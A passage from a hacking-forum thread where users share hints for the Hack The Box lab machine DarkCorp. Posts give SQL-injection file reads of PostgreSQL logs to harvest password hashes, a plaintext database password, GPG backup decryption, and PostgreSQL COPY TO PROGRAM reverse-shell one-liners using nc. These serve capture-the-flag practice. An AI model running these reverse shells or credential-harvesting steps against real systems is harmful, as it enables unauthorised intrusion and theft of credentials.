Temporary Advertisements:
Ad
Ad
Ad
DarkCorp Hack the Box Season 7 (Windows Insane)
by RedBlock - Saturday February 8, 2025 at 03:32 PM
#81
(Feb 09, 2025, 12:18 PM)Dtom Wrote:
(Feb 09, 2025, 11:56 AM)00xb0 Wrote:
(Feb 09, 2025, 11:53 AM)userjr4747gz Wrote: spawn shell

script /dev/null -c bash

This gives back
gpg: public key decryption failed: Screen or window too small
gpg: decryption failed: No secret key

 add --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase xxxxxxx

in gpg command


This worked thank you

gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase XXXXXX --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql

(Feb 09, 2025, 12:21 PM)potato_moose Wrote: @00xb0, can't send you a PM

1. spawn the interactive shell with python3 -c 'import pty;pty.spawn("/bin/bash")' -> Ctrl+Z -> stty raw -echo; fg -> export TERM=xterm
2. gpg --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql
3. The resulting file will appear in the current working directory. HW, the terminal seems to be broken again as it glitches with showing commands you input and doesn't output cat properly. So I used less dev-dripmail.old.sql to scan through the file and find hashes

I was doing same thing, but the issue for some reason was in GPG command
Reply
#82
any hint for user??
Reply
#83
(Feb 09, 2025, 12:22 PM)kb2l Wrote: A nudge on how to get the ssh password for ebelford ?
the sql injection is giving hashes that won't crack.

zgrep ebelford /var/log/postgresql/*

it is in /var/log/postgresql/postgresql-15-main.log.1
Reply
#84
(Feb 09, 2025, 12:22 PM)kb2l Wrote: A nudge on how to get the ssh password for ebelford ?
the sql injection is giving hashes that won't crack.

Using:  ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 20000);

You will find a hash that you can crack Big Grin
Reply
#85
Wooo Lets go user!
Reply
#86
taylor.b.adm - is our goal he is in remote management group
Reply
#87
(Feb 09, 2025, 12:25 PM)00xb0 Wrote:
(Feb 09, 2025, 12:18 PM)Dtom Wrote:
(Feb 09, 2025, 11:56 AM)00xb0 Wrote:
(Feb 09, 2025, 11:53 AM)userjr4747gz Wrote: spawn shell

script /dev/null -c bash

This gives back
gpg: public key decryption failed: Screen or window too small
gpg: decryption failed: No secret key

 add --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase xxxxxxx

in gpg command


This worked thank you

gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase XXXXXX --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql

(Feb 09, 2025, 12:21 PM)potato_moose Wrote: @00xb0, can't send you a PM

1. spawn the interactive shell with python3 -c 'import pty;pty.spawn("/bin/bash")' -> Ctrl+Z -> stty raw -echo; fg -> export TERM=xterm
2. gpg --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql
3. The resulting file will appear in the current working directory. HW, the terminal seems to be broken again as it glitches with showing commands you input and doesn't output cat properly. So I used less dev-dripmail.old.sql to scan through the file and find hashes

I was doing same thing, but the issue for some reason was in GPG command

How did you find passphrase , ebelford password didnt work for me ?
Reply
#88
(Feb 09, 2025, 01:19 PM)x1rx Wrote: How did you find passphrase , ebelford password didnt work for me ?

How many passwords you have found ?
Reply
#89
(Feb 09, 2025, 01:16 PM)jsvensson Wrote: taylor.b.adm - is our goal he is in remote management group

Trying to collect bloodhound data but failing as victor, how did you get it to work ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.
Reply
#90
(Feb 09, 2025, 11:21 AM)00xb0 Wrote:
(Feb 09, 2025, 10:35 AM)jsvensson Wrote: Found something new:
as postgres
gpg --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql  --passphrase is password for db
in sql file found other md5 hash and cracked it for user victor.r

and this user is valid in AD

To 00xb0 - i can't answer you in private get forbidden
 
for postgres i used:

psql -h localhost -U dripmail_dba -d dripmail
2Qa2SsBkQvsc
dripmail=# COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ip port >/tmp/f';

Thanks mate, i got it but can't decrypt the backup

gpg: public key decryption failed: Inappropriate ioctl for device
gpg: decryption failed: No secret key

Or

gpg: public key decryption failed: Screen or window too small
gpg: decryption failed: No secret ke

you need TTY even if minimal

python3 -c "import pty; pty.spawn('/bin/bash')"

then you can proceed.

If for someone else reverse shell above doesn't work try this:

dripmail=# COPY (SELECT pg_backend_pid()) TO PROGRAM 'nc 10.10.14.12 4444 -e /bin/bash'

(replace ip & port)

nc -vlp 4444 in your machine terminal
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [UPDATED] APT-Labs Prolabs Writeup z1ne99 41 5,937 3 hours ago
Last Post: morris
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 61 6,072 5 hours ago
Last Post: NIhaogt
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 441 112,622 Yesterday, 05:51 PM
Last Post: evermore
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 621 105,933 Yesterday, 03:59 PM
Last Post: user65745747
  How to Hack WiFi password Using PMKID Apvu 9 4,397 Sep 19, 2026, 09:08 PM
Last Post: anonhawk437

Forum Jump:


 Users browsing this forum: 2 Guest(s)